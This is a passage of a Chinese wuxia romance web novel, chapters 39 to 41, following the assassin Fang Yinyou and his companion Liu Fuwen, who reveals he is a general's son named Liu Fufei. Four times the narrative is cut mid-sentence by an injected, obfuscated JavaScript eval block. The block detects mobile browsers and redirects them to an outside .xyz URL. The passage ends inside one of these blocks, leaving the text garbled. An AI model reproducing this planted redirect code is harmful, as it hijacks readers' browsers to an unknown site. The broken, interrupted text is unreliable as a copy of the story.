好在屋里的人已经听到动静跑到了屋外,茅屋烧起来也暂时伤不到人。 火光映着方隐攸的侧脸,炙烤着他的肌肤,让他的眼瞳猛地缩紧,里面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810177|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的杀意迸发,如利箭一般射向男人。 男人却丝毫不惧,再次问道,“秘籍给我,或者替他们收尸,你自己选。” “我选择替你收尸。” 说罢,方隐攸握紧手中长剑,人和剑同时化作一道疾风朝着男人袭去,却又在顷刻间猛地坠落在地上。 方隐攸半跪在地上,不可置信的捂住胸口,竟然连一盏茶的功夫都支撑不住吗? 男人见状得意的哈哈大笑,“方隐攸,原来你伤的这么重!” 方隐攸望向男人,缓缓的站了起来,他的衣摆被风吹得卷起,手里长剑上映着烈火,浑身上下萦绕着想要毁灭一切的肃杀之气。 男人推开挡在身边的人,大摇大摆的走到人前,再次拉开长弓,对着方隐攸的右肩射出一箭。 长箭划破长空,迅速快的惊人,方隐攸冷眼盯着箭头,手中的可生蓄势待发,只等着一剑斩断长箭。 但是长箭还未之至身前时,就被一根长鞭卷着在空中转了一圈,然后调转方向朝着男人射去。 男人猛地一惊,连忙扯过身旁的一个人挡在身前,长箭直直的插入那人的心脏,那人还未反应过来发生了什么就已经死不瞑目,然后被男人随手扔在了地上。 男人惊讶的打量着对面手执长鞭气势逼人的柳傅文,笑道,“原来是个会武的。” 柳傅文上前一步,将方隐攸挡在身后,手里的鞭子在身前一挥,空气发生一声尖锐的鸣响。 他的整张脸都被火光照着,原本温润无害的五官显得冷硬起来,他一言不发的盯着男人,眼神极具攻击性。 虽还穿着那身广袖长袍,气质却迥然大变,让人感觉到一股凌厉的杀气。 男人审视的看了他许久,忽然仰头大笑几声,“但是那又如何?如今方隐攸已经不足一提,凭你一己之力,难道能对付得了我手下百人?” 说完他朝着身后招了招手,“除了方隐攸,其他的都给我杀了!” 那群人闻言大喝一声,然后气势汹汹的朝着这边奔来,手里的火弩长弓顷刻间射出上百支利箭,刹那间章台村火光冲天。 方隐攸看着身前柳傅文的背影,刚想开口忽然感觉胸口一抽,然后猛地吐出一口血,整个人也无力的朝后倒去。 柳傅文立刻回身将方隐攸抱在怀里,迅速的朝着章老五的院子里退去,然后他从怀里掏出一个骨笛,吹出一声尖锐而响亮的口哨。 紧接着,便看到几十个人从章台村附近的山坳、深林中跑了出来,他们个个蒙着面,手里拿着长兵器,一言不发就和男人带来的那群人厮杀在了一起。 方隐攸的头抵在柳傅文的脖子上,整个人感觉到十分的疲惫,他瞥一眼厮杀的人群,没有任何惊讶的淡淡道:“都是你的人?” 柳傅文嗯一声,抱着他回了药房,仔细的将他放在竹榻上,然后去拿章老五离开前留下的药。 “章台村的人能救下来吗?” “可以,我的人知道该怎么做。” 方隐攸松了口气,随后看着被他随意扔在地上的软鞭,语气嘲弄的问道,“不装了?” 柳傅文刚打开药柜,他看着里面的药包,哑着嗓音问:“你不是早就看出来了吗?” “柳傅文,你真善变。” 方隐攸语气平静,听不出任何情绪,却还是让柳傅文的心猛地一缩,他回头看着方隐攸,“嗯,我善变,所以呢?” 39. 烂面 方隐攸脸色惨白的躺在榻上,嘴角有几点已经干涸的血痕,眼下整个人看上去非常虚弱,没有任何震慑力,可是他看着柳傅文的眼神却锐利又轻蔑。 “你心怀不轨的接近我,是为了秘籍。”方隐攸的语气十分笃定,不等柳傅文回答又继续说到:“在淮临县我昏倒的那次,你大概已经找遍了我的全身,却没有找到秘籍,所以才没有趁机杀我,对吧?” “在南山派时你会出手救我,也是因为你需要从我口中知道秘籍的下落。” “可是之后呢?”方隐攸眼神忽然变得嘲讽,带着几分戏谑,“我几次三番的给你机会,你为何不下手?我失去内力的那次,你完全可以制服我后逼问我,可是你却无动于衷。” “前几日耿老翁重伤我,你也可以动手,还有今日,现在,你竟然宁愿撕开这层窗户纸暴露自己的身份,也不愿意让我陷入困境。” “柳傅文,短短一个月不到的时间,难道你就已经忘记了你接近我的最初目的吗?” “你爱上我了,是吗?” 最后几个字方隐攸说的极度缓慢,质问的语气里夹杂着一股杀气,像是倘若柳傅文敢说一个是字,他就会一剑了结他一般。 柳傅文捏住手里的药包,和他隔着不过一丈的距离四目相对,屋外是此起彼伏的厮杀声,他的耳边却只有方隐攸这一段长长的质问。 他无言以对,方隐攸说的句句属实,他确实善变,从心怀不轨到心怀爱慕,真心在假意的禁锢中依旧破土而出,汲取的养料一半都是歹意。 这种令人不耻的情感的转变让他自己都不知道该如何开口表述。 柳傅文的沉默让方隐攸感觉到无比的可笑,他扯了扯嘴角,“我只护送你到此,你给我把账目算清,你我就此别过。” “不行。” 柳傅文上前一步,走到方隐攸榻前凝望着他,“说好了你要送我到京城,差一步都不行。” 方隐攸无语的撇他一眼,“柳傅文,你能不能要点脸面,你武功不俗,身边又有那么多人护着,还差我这么一个?” 说着,他露出一个嘲弄的表情,“还是说你又改变主意了,打算在剩下的这段路程里想办法从我手里拿到秘籍?” “我不要秘籍。” “那你要什么?” “我...”柳傅文瞬间默然,他垂下头看着地上的灰尘,用力的掐紧手心,“我什么都不要,只要你护送我上京。” “我若是非要拒绝呢?” “那你就一个铜板都别想拿到。” 方隐攸闻言瞬间发怒,他迅速从榻上翻身下来,用力的掐住柳傅文的脖子,然后砰的一声将他抵到药柜上,“你再说一遍?” 柳傅文看着他冷漠的眉眼,忽略脖子上勒得他快要喘不上气的手,笑道:“但是倘若你将我送到京城,我直接给你一千两黄金。” 方隐攸双眼瞬间发光,“当真?” “当真。” 方隐攸立刻放手,柳傅文顺势扶住一旁的长桌,梗着脖子猛咳嗽几声。 忽然,方隐攸又吐了一口血,整个人都朝后跌去,柳傅文连忙伸手将人接住,他无奈的叹了一口气,“你先好生歇着,我去给你熬药。” “等一下。”方隐攸叫住即将走出门的柳傅文,在他回头看过来以后盯着他的眼睛,语气森冷的说到:“柳傅文,你记住了,别将主意打到我身上。” “我方隐攸这辈子,最瞧不上的就是善变的人。那几次,你但凡有一次向我出手,我就算是死在了你手里,都会钦佩你的果决。” 柳傅文看了他许久,仔细的观察着方隐攸脸上的情绪,发觉他这句话完全是出于真心以后,脑子里闪过千方百计,最后嗖的一下跑到榻边,然后猛地扑到方隐攸身上一把抱住他,开始嚎啕大哭。 “方隐攸,你怎么可以这样?” 方隐攸被他的举动所惊讶到,半天没有回过神来,等到反应过来的时候柳傅文的胳膊已经死死的锁住他的后颈,整个人就像是狗皮膏药一般黏在他身上了。 “你放开!” 柳傅文将脸贴近他的脖颈,“不放!你说话太伤人了。” 方隐攸的手按住他的肩膀,想要将人推开,可是眼下柳傅文也不装了,直接用了内力,让他无法撼动分毫。 方隐攸彻底放弃和他拼力气,由着他抱着自己,无奈的说到:“我说的难道不是事实吗?” “什么事实?难道我非得先伤害你再爱上你,这样才叫不忘初心吗?” “我的意思是,你既然决定来抢我手里的秘籍,就该想尽一切办法达到目的。而且你最开始视我为敌,那就该摆正自己的位置,怎么可以爱上一个你本想杀死的人呢?” “别拿你们江湖人的那一套做派来挟持我,本公子并不是江湖中人...而且不是你引诱我的吗?” “胡说!”方隐攸不可置信的瞪大双眼,“我什么时候引诱过你?” 柳傅文放在方隐攸脖子后面的手臂缩紧,将他整个人更加用力的抱在怀里,“那你为什么那样对我...”说着,他的语气忽然一哽,含着十分的委屈,“你别不认账!” 方隐攸顿时感觉整个人都被塞进了一团乱麻里,实在找不到自己什么时候引诱过柳傅文。 方隐攸的沉默像利刃一般插入柳傅文的心腹,让他胸口一闷,抬头埋怨的瞪他一眼,“我才刚刚接近你的时候,你总是时不时的牵我的手,还暧昧的摩挲我的手心。” 方隐攸无语望天,“我那是为了弄清楚你既然会武,为什么手心却没有任何痕迹。” 柳傅文撇撇嘴,再次将脸埋在他的脖子里,闷声闷气的解释,“那是因为本公子讲究,每次练过武以后必会用上好的膏脂养护。” “奢侈。” 柳傅文充耳不闻,继续与他对峙,“还有,你若不是有意勾引,那日为何要那般给我擦药?” “哪日?” “在青州我们与崔清止喝过酒后的那一晚!” 方隐攸一愣,那一晚他们从酒肆离开时还带了半坛酒回去,一到客栈他就将那半坛酒喝完了,然后不出意料的醉了,哪里还记得什么这样涂药那样涂药的? 他有些尴尬的清了清嗓子,“我给你涂得哪般药?” 柳傅文忽然变得忸怩起来,半天不说话,只用手来回扯着方隐攸背后的衣裳。 方隐攸瞬间慌了神,就怕自己真的做了什么让人误会的事情。 “除此之外,还有呢?” 柳傅文轻哼一声,“还有一路上,你为何对我这般好?处处贴心的照顾我,这不是引诱吗?” “这难道不是应该的吗?你既然花钱雇了我,我自然要好生照顾你。” “狡辩,若是换做旁人雇你,你也会如此吗?” 方隐攸无奈长呼一口气,“没有旁人了,我方隐攸再也不会接这种买卖了。” 柳傅文侧过脸,看着不远处的方桌,上面的草药已经干枯,了无生机的模样,但是怀里的人的心跳都那么清晰,让他感觉到蓬勃的生命力,连呼吸都变得畅快起来。 柳傅文无声的笑了笑,然后故作委屈道:“所以,此事并不能完全怪我,不是吗?” “柳傅文,我说不过你,但是不管怎么,将你送到京城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810178|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以后你我两人分道扬镳。” “好。”柳傅文信誓旦旦的点点头,“但是剩下的路程,你不可故意疏远我。” “行。”说着方隐攸握住他的肩膀再次往外推,“那你现在能放开我了吗?” 柳傅文顺势放开他,他站直身子,“我去给你煎药。” 方隐攸连忙摆手,“快去快去。” . 厨房里摆在桌子上的两碗面已经冷透了,面条吸尽了汤汁变得软烂无比,柳傅文夹起一筷子面条吃进嘴里,像是搅烂了的剩饭,味道复杂,口感冷滑,咽下肚的时候像是有人在往他的胃里挤别人吐出来的秽物,让他整个人都变得酸臭无比。 其实酸臭的是他的心。 明明自己和方隐攸无怨无仇,只因为一句江湖传言——第一刺客手中有一本可以炼成神功的秘籍,就心怀鬼胎的接近方隐攸,想方设法的想要让他卷入江湖恩怨中,自己便可趁机夺取他手里的秘籍。 可是不到一个月时间,他就忘了自己的初衷,明明有那么多次的机会夺取秘籍,他却放弃了。 柳傅文仰起头无声的嗤笑。 他为自己的反复无常为耻,为自己的优柔寡断为耻,最重要的,是为自己对方隐攸生出不该有的心思为耻。 方隐攸不过是一个江湖刺客,做的都是杀人越货的勾当,江湖人惧他、畏他却不会敬他。 自己怎么会对这种人生出情愫呢? 柳傅文百思不得其解,他看着碗里被筷子夹成碎屑的面,他就像是这摊东西,早就没了原本的模样,难怪方隐攸一直警告他不要将主意打倒他身上。 被这么一滩脏东西粘上,确实挺让人恶心的。 柳傅文握紧手中的筷子,眼神变得诡异,他露出一个阴桀的表情,然后迅速将这一碗令人作呕的面吃的干干净净。 变得不像自己又怎么,被方隐攸瞧不上又怎么,来日方长,他总有办法让方隐攸不再厌弃他。 当柳傅文端着煎好的药回到药房时,竹榻上却空无一人,他心里一慌,赶忙跑出去。 眼下虽然自己的人已经解决了面具男带来的人,但是那个面具男却逃了,若是他来个回马枪,趁机溜进章台村挟持方隐攸,谁胜谁负还真难说。 不过好在等到他跑到院子里的时候,看到方隐攸正怀抱着一个襁褓,耐心十足的逗弄着里面的孩子。 柳傅文走上前去,温声道:“药煎好了,去喝药吧。” 方隐攸点点头,将手里的襁褓还给妇人,然后伸手又摸了一下小孩的脸颊,小孩并不知道刚刚发生了什么,眨着一双黑白分明的大眼,对着他纯真的笑了笑。 方隐攸转头朝着柳傅文伸出手,“给我银子。” 柳傅文利落的从怀里掏出两锭锭银子放在他的手心,方隐攸将银子递给妇人,“拿着吧,你家房屋因为我们被烧毁,这便算作赔偿了。” 妇人看着他手里的银子,迟疑许久后接了过去,“多谢公子。” 方隐攸摆摆手,和柳傅文一起回了药房。 柳傅文将已经凉了不少的药递给他,缓缓道:“我会安排人给这里的人重新修建房屋,你无需担心。” 方隐攸喝完药,将空碗递给他,“章大夫说我还需要多久康复?” “最晚五日。” 方隐攸点点头,走到榻边坐下,深呼一口气后问到:“你说他很大概率是官府的人?” “对,他手里的人都训练有素且非常讲究规矩,不像是寻常江湖人。” 方隐攸忽然眼神锐利的盯着他,像是要看透他的内心,“那你呢?真的是京城富商之子吗?” 40. 柳扶斐 柳傅文将手里的空碗放在桌子上,然后端端正正的坐在方隐攸面前的凳子上,眼神诚恳的盯着他问,“我说是,你会信吗?” 方隐攸嗤笑一声,“我方隐攸虽是个武夫但不是莽夫,你说那个戴面具的手下个个不是寻常江湖人,那你一声口哨招出来的就是普通人了?” “他们个个强壮魁梧,每招每式都十分利落,为的就是一招毙命,倒像是死侍,求得就是你死我活。” 柳傅文眼里闪过一丝惊讶,“你竟然看出来了。” 方隐攸扫他一眼,得意的朝他抬了抬下巴,示意他赶紧把话说清楚。 柳傅文放在膝盖上的手微微摆了摆,将宽大的衣摆捋平,脸上挂起讨好的笑,“我若实话实说,你会不计较我之前对你的隐瞒吗?” “有什么好计较的,我又没有当真被你蒙骗。” 柳傅文松了口气,缓缓道:“我是朝中骠骑大将军柳桢淞的独子柳扶斐,外祖是商贾之家,所以我说我是商人之子,也不算全假。” “骠骑大将军?柳桢淞?”方隐攸喃喃道,“你是朝堂中人?” 柳扶斐连连摆手,“我不是!我无官无职,怎么能算是朝堂中人呢?”他嘿嘿一笑,“我就是一个只爱吟诗作画的贵公子,京城里如我这般的人多了去了,难道他们都是朝堂中人吗?” 方隐攸松了口气,他是最不愿意和朝堂里的人扯上关系的,或者说江湖中人没有哪一个愿意和朝堂中人扯上关系,两者就是天生的死对头。 方隐攸盯紧柳扶斐的眉眼,仔细打量着他这人,如今知道他的身份了,再看他当真能看出他这人虽纨绔,但是浑身上下确实有一股子贵气。 “柳扶斐?” “是。”柳扶斐抬手整理衣襟,字正腔圆道:“京城柳扶斐。” “你那个做大将军的爹知道你眼下和谁在一起吗?” 柳扶斐闻言心里百转千回,脑子里闪过无数种猜测,然后十分诚挚的点点头,“知晓,我与你同行的第一天便写信告知他了。” “如何说的?” “说我已经雇了江湖第一刺客方隐攸护我回京,让他勿念。” 方隐攸嗖的一下站了起来,手指着他的眉心问道,“若是回京路上出了什么差错,你一命呜呼了,你那个坐大将军的爹会如何?” 柳扶斐垂下头,看着自己衣摆上的大片云纹,思索片刻后语气感慨的说道:“我娘生我时难产去世了,我爹爱我娘至深,便也爱我至深,若我真的不幸遇难,他只怕会追究到底。” “追究什么到底?” “跟在我身边的那群死侍的失职之罪,还有...”说道这里,柳扶斐抬头望着方隐攸,无奈道:“还有你的罪。” “笑话。”方隐攸哈哈大笑几声,瞪他一眼,“我何罪之有?” “你是我的镖师,镖出了问题,镖师自然难逃其咎。” 方隐攸眉头越皱越深,看着柳扶斐的眼神已经明显带了怨气。 “所以,你得好生护着我。”柳扶斐眨眨眼,白皙的脸上扬起温柔矜持的笑,“不然,你不仅拿不到黄金千两,还会被我爹追杀。” 说着,柳扶斐伸手握住他的衣摆轻轻晃了晃,“我记得你曾说过,江湖也是皇土,你应该不愿招惹上朝堂里的人吧?” 方隐攸冷眼盯着他,许久没有任何反应。 柳扶斐的手顺势向上,一把握住他的手腕,指腹轻轻摩挲了一下他的脉搏,“方隐攸,我也是个贪生怕死之徒,我不想死的。” 方隐攸挥开他的手,然后用力掐住他的下巴,将他的脸抬了起来,语气警告的说到,“接下来的路程你给我老实一点,别惹麻烦。” “好。” 方隐攸放开他,用脚狠狠的踢了一下他坐下的凳腿,“去弄点吃的,我饿了。” 柳扶斐被踢得差点摔倒在地,不可置信的看着他,“我爹是骠骑大将军,我外祖是大境最富的商贾,你已经知晓本公子的身份了,竟然还敢这么对我?” 方隐攸斜眼看他,皮笑肉不笑的说道:“只要镖不坏,怎么磋磨都是我这个镖师说了算。” “受不了你就自杀吧。”方隐攸又踢了一脚,“反正我漂泊惯了,你爹要追杀我就让他尽管来。” 柳扶斐噔的一下站了起来,头也不回的去厨房给方隐攸弄了一碗面。 当方隐攸喝完最后一口热汤时,厨房的门忽然被人猛地推开,桌上的烛火吓得抖了三抖,两人的影子也随之一颤。 章老五一脸慌张的看向两人,又在看清两人竟然还在安然的吃面的时候变得镇静的下来。 柳扶斐放下手里的碗筷,起身将人扶到桌边坐下,“章大夫怎么回来了?” 章老五长呼一口气,“我在老丈人家里看到村里有火光,担心二位出事便连夜赶回来了。”说着,他手拍了拍胸脯,“幸好二位安然无恙。” “我们没事,村里的人也都没事,就是烧毁了几间茅屋。” “房子烧了可以再搭,只要人没事就行。”说着,章老五看向方隐攸,“我方才听到邻居说方小弟和那个贼人交手了?你大伤未愈,眼下身子可有不适?” 方隐攸摇摇头,“没事。” “那就好。” 柳扶斐起身给章老五倒了一杯热茶,“章大夫喝杯热茶暖暖身子。” 章老五笑着朝他道了谢,喝完热茶后便回了前屋,去帮着柳扶斐的人安抚那些受惊的百姓去了。 这一晚上章台村吵闹到寅时才渐渐平息下来,又在朝阳升起时再次热闹了起来,家家户户都在商讨着如何帮助那几户被烧了房屋的人再搭建茅屋。 柳扶斐的那些死侍个个长得凶神恶煞,虽想要好意帮忙,但是都被章台乡亲们婉拒了,毕竟昨夜里他们各个手里都是沾了人命的。 柳扶斐给方隐攸端来一把摇椅放在院子里能照到日光的地方,让他在这里好生歇着,然后自己一转头就跑到了那群争执不下的人群里。 一个老翁指着一个死侍让他别在这里凑热闹,应该赶紧去后山上砍几颗粗壮的树来做房梁。 死侍板着脸瞪着他,一言不发也一动不动,手里握着的一把砍刀上面还有未干的血迹。 老翁看到柳扶斐之后埋怨的看他一眼,然后手往前一摊,自责道:“怪我,若是那日不给你指路,那群贼匪也不会来章台村烧杀掳掠。” 柳扶斐认出他就是那日在门口晒太阳的老翁,也知道昨夜里他的老伴受了惊,眼下正躺在章老五那里修养。 柳扶斐毕恭毕敬朝他鞠了一躬,“是晚辈的错,只是老翁你无儿无女,若不让他们帮忙,这茅屋何时才能盖好?” 老翁一听,重重的哼了一声,下巴上的胡须都抖了几抖,“无儿无女怎么了?我章世卿无儿无女不也活到了七十八?这章台村多少有儿有女的比我早死不知多少年。” “老翁,我不是这个意思。”柳扶斐说着朝身后的死侍使了个眼色,他们便立刻去清理老翁身后被烧去了一大半的茅屋。 章老翁一看,连忙朝着他们一遍跺脚一边大喊,“给老夫滚出来!你们这群匹夫竖子,杀人如麻的歹徒!” 章老翁骂的十分起劲,语气愤怒刻薄,柳扶斐却没有丝毫的不满,反倒是好奇的打量起来面前的老者。 那日他怀抱着重伤的方隐攸心急如焚,看到章老翁时也并未多加注意,如今听了他这般文雅的骂人之语,再看他浑身一股浩然正气,忽然反应过来,眼前这人只怕不是一般的乡野村夫。 柳扶斐上前一步,朝着章老翁又拜了拜,“敢问章老翁此前可曾入仕为官?” 章老翁闻言忽然一愣,嘴里还未吐出口的话也咽下了肚子,他脸色复杂的看一眼柳扶斐,然后一甩衣袖,背过身去不看他。 柳扶斐瞬间明白,这人还当真是告老归家的官,就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810179|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道当初做的是什么官,又是为何会沦落到和老伴在这章台村的茅屋里清贫过余生。 眼角余光注意到躺在摇椅上的方隐攸朝他招了招手,柳扶斐立刻回到他身边,问道:“怎么了?” 方隐攸朝着章老翁的背影抬了抬下巴,“这老头怎么了?” 柳扶斐将刚刚发生的一切一字不漏的说给方隐攸听了以后,叹了口气:“他性子太倔了,非得自己搭茅屋。” “给他个梯子,他连屋顶都爬不上去,搭什么茅屋?”方隐攸的手在扶手上轻点一下,“我昨日看到他一个人在屋前对弈,那弈子看上去很精致。章台村会对弈的人屈指可数,他只怕是好多年都没有好好下过几局了,你去陪他对上一局。” 柳扶斐点点头,再次回到章老翁那只剩下一半的屋前,笑道:“老翁,听说你有一副上好的弈子?” 章老翁板着脸,伸手捋一把胡须,“你问这个做什么?” “小辈刚好略懂一些,不如今日我来陪你对弈几局?” 章老翁上下打量他一眼,“你当真会?” “这还能有假不成?” 章老翁思索片刻,摆了摆手,“下不了,我得把我这茅屋搭好,我家婆子还在章老五屋里躺着呢。” 柳扶斐走到他身边,朝着一直守在旁边的死侍抬了抬下巴,“交给他们,不出三个时辰,保管给你搭好一间茅屋。” 章老翁哼一声,撇过头不肯看他。 “老翁,听说你那棋子还是上好的永子,你就舍得它们在盒子里蒙尘?” 章老翁眼里闪过一丝迟疑,眼角余光一撇,发觉柳扶斐正朝着自己的笑的灿烂,一副摸准了他心思的模样,他心里忍不住升起一股子恼意,朝着他重重的冷哼一声。 柳扶斐随即哈哈大笑,十分得意的朝他又拜了拜,“老翁,快些把棋拿出来,你我对弈一局。” 章老翁抬手虚点他几下,然后用力的甩了一下衣袖,去还完好的那间屋里拿出了那副他珍藏了许多年的弈子。 等到他们坐在屋前的空地上对弈时,那群死侍立刻动作迅速的开始搭建茅屋。 柳扶斐虽说会下棋,但是对上章老翁这种多年老手,下的也十分吃力,三局里面才堪堪赢了一局,还只胜了半子。 章老翁手执黑棋,对着他摇摇头,“落子需谨慎,应走一步观三步,你这步棋下的太莽撞。” 柳扶斐无所谓的耸耸肩,“思虑过多太劳神,而且我哪里能看穿老翁你的棋路,还不如走一步看一步,这样,你不是也猜不透我的棋路?” 说着,他将手中白棋落于一处,棋盘上的局势瞬间逆转,原本被围得将要失去所有气路的白棋瞬间盘活,而原本走势开阔的黑棋瞬间陷入死局。 章老翁诧异的观察了许久,然后将手里的黑棋往盒子里一扔,“老夫输了。” 柳扶斐得意的挑挑眉,“所以,我这招很管用。” 章老翁侧过脸看向自己那间已经恢复原样的茅屋,“我看的出来,你那个所谓的弟弟是个江湖人,可是你不是,你身上有一股贵气和傲气。” “那是久居朝堂才能有的气势,老夫只是好奇,你年纪轻轻,如何会养出如此气魄?” 柳扶斐拈起一颗棋子在手里把玩,神情淡淡的回到:“老翁你看走眼了,我只是个纨绔公子,可不是什么朝堂中人。” 老翁忽然转过头盯着他,眼神洞察,“老夫和那群人打了许多年的交道,不会看走眼。” 老翁抬手捋一把胡须,悠悠然道:“既然你不愿认,老夫也不会多言。”说着,他看向正在闭眼晒太阳的方隐攸,“朝堂水深,里面的人也腌臜,他必然瞧不上。” 柳扶斐闻言,脸色一变,手里的棋子被用力的扔了回去,将盒子里的白棋震出几道裂痕。 柳扶斐起身,冷眼盯着他,“对不住,弄坏了老翁的棋子,我会让人给你重新送一副来。” 41. 并阳县 方隐攸手放在眉间挡住刺眼的日光,望着柳扶斐一脸不忿的朝着自己走来。 “输了?”方隐攸笑问:“不是说自己是京城贵公子?怎么连个棋都下不赢?” 柳扶斐蹲到他身边,手捻起他的衣袖在手里揉搓,轻哼一句,“怎么可能输,只是那个老头说话太难听,我很不喜欢。” “他说了什么?” “说我不配做你的兄长,你必然不是我的弟弟。” 方隐攸闻言哈哈大笑,“柳扶斐,我觉得他这话说得十分动听。”说着,他侧过脸盯着柳扶斐的眼睛,“不如你叫我一声方兄?” 柳扶斐翻了个白眼,站起身来挥了挥衣袖,“下辈子吧,这辈子你不可能做本公子的兄长。” “饭做好了,两位来吃饭吧。” 章大夫在厨房门口喊了一声,柳扶斐应了声好,将方隐攸从摇椅上扶了起来,一起朝着厨房走去。 章大夫虽然医术高超,但是厨艺着实不太妙,桌上的几个菜也就是刚好能入口的程度,不过比方隐攸和柳扶斐的还是要好一些的。 所以等到两人离开章台村到了并阳县城的第一件事就是去找了一家最好的酒楼,打算犒劳犒劳他们受了太多委屈的肚子。 并阳县只是冀州下面的一个小县城,城区并不繁华,最好的酒楼也有些寒酸,桌子破旧不说连堂中的立柱上都有几道刀砍过的凹痕。 酒楼中只有一个店小二,刚好伺候完一桌客人,看到方隐攸和柳扶斐以后立刻走了过来,热情的问他们要吃点什么。 方隐攸扫一眼柜台后面的几坛酒,“那些酒掺水没?” 店小二闻言尴尬的笑了笑,“客官,您这话说得,小店卖酒从不掺水,都是上等的女儿红,您若是要我给您拿一坛来?” 方隐攸点点头,然后看向柳扶斐,他才是结账的人,要什么不要什么得他说了算。 柳扶斐得意的从怀里掏出一锭银子在手里把玩,朝着小二抬了抬下巴,“拿一坛酒,然后将你们店里招牌菜都上上来,银子不是问题。” 店小二应了声好,刚想走,柳扶斐又叫住了他,从怀里拿出一个药包递给他,“替我把这药煎了,饭后端上来。” 方隐攸纳闷的看着他,“那是什么药?” “临行前章大夫给我的,说是能补血益气,你饭后喝上一碗有好处。” 方隐攸噢一声,转头看着面前立柱上的刀痕,很快便察觉出来不对劲——这刀痕新的很,最多不过十二个时辰。 “这并阳县不能久留。” “怎么了?” 方隐攸朝他使了个眼色,让他看柱子上的刀痕,“这是一把长刀,像是——”方隐攸的眼神瞬间变得警惕起来,“偃月刀。” “韩桓临?” “嗯。”方隐攸给自己倒了一杯冷茶,润了润嗓子后说道:“救崔清止时他看清了我的脸,若是在此相遇,只怕是难以脱身。” 柳扶斐嘲弄的轻笑一声,“那不是你自己非要去救的?还险些将自己陷入死地,要不是本公子及时出手,你的坟头草都不知道几尺高了。” “我死不了。” “是吗?” “我只需要告诉韩桓临我就是方隐攸,他为了我手里的秘籍就不会杀我。” 说完,方隐攸给柳扶斐倒一杯茶递到他面前,阴阳怪气道,“柳兄当时在淮临不也是因为秘籍没有杀我吗?” 柳扶斐将杯中冷茶一饮而尽,毫无底气的辩解,“就算我那时候找到了秘籍,也不会杀了你。” “是吗?柳公子倒是比在下想象中的更加宅心仁厚了。” 说话时方隐攸下巴微抬、嘴角上扬、眉峰高挑,眼神十分挑衅。 柳扶斐扯了扯嘴角,给自己续了一杯冷茶。 方隐攸笑道:“少喝些,别菜都没上齐你就喝饱了。” 柳扶斐喝茶的动作一顿,将茶杯随手放在桌子上,郁闷的冷哼一声,“那你倒是少说些话让我不顺心的话。” “是是是,怪我话多。” 这酒楼里面伺候的人虽少,但是上菜速度却很快,两人才说了几句话的功夫,小二就端着菜盘走过来了。 方隐攸吃完饭又喝了药以后,看柳扶斐碗里的饭还剩下一大半,于是给他使了个眼色后便朝着柜台去了。 掌柜的是个瘦高的中年男人,蓄着山羊胡,看到方隐攸走过来时脸上挂起了客套的笑,问道,“客官吃的可还满意?” 方隐攸点点头,“酒不错,没有掺水。” 掌柜脸上的客套的笑里多了几分得意,“那是自然,我们店家也是个爱酒的,平生最厌弃的就是往酒里掺水的黑心店家,这酒啊,每日由他亲自送到酒楼里来,不假任何人之手,掺不了一滴水。” 方隐攸往柜台上一靠,手中的长剑放在柜台上,猩红剑柄瞬间吸引住了掌柜的目光。 方隐攸看向立柱上的那几道刀痕,问道,“昨日里酒楼发生了什么?” 掌柜闻言一愣,“客官怎么知晓昨日酒楼里发生了些什么?” “那刀痕太新了。”方隐攸的手指敲了敲柜面,“打斗的人里面是不是有一个黑脸、长须、脸上有道疤,手里拿的是长刀的男子?” 掌柜诶一声,连连道:“还真让客官说中了,确实有这么个人。” “他带了几个人?对面领头的又是谁?” “他带了二十多人,对面也是差不多是这个数,至于那领头人是谁...我只知道肯定不是咱们并阳县本地人,面生的很。” 说完,掌柜仔细回忆片刻,继续道:“他长得十分凶神恶煞的、满脸的络腮胡,体格也健壮,胳膊有我大腿粗,看上去吓人的很。” 方隐攸一听便知道这人是谁——江北猛虎帮帮主郭奇谅,这人和韩桓临常年不对付,但是论武功又不是韩桓临的对手,也只能被迫的尊称他一声盟主。 如今韩桓临屠人满门,强取秘籍一事传的江湖中人尽知,他自然更加不服韩桓临,所以才敢和他在大庭广众之下大打出手。 “你知道他们昨日因何事动的手吗?” 掌柜的摇摇头,“这我哪里能知晓,他们一群人坐在酒楼南边,一群人坐酒楼北边,中间隔着这么宽一条道,话都说不上一句,忽然就打了起来。” “打也就罢了,那刀剑无眼,砍伤了楼里的好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 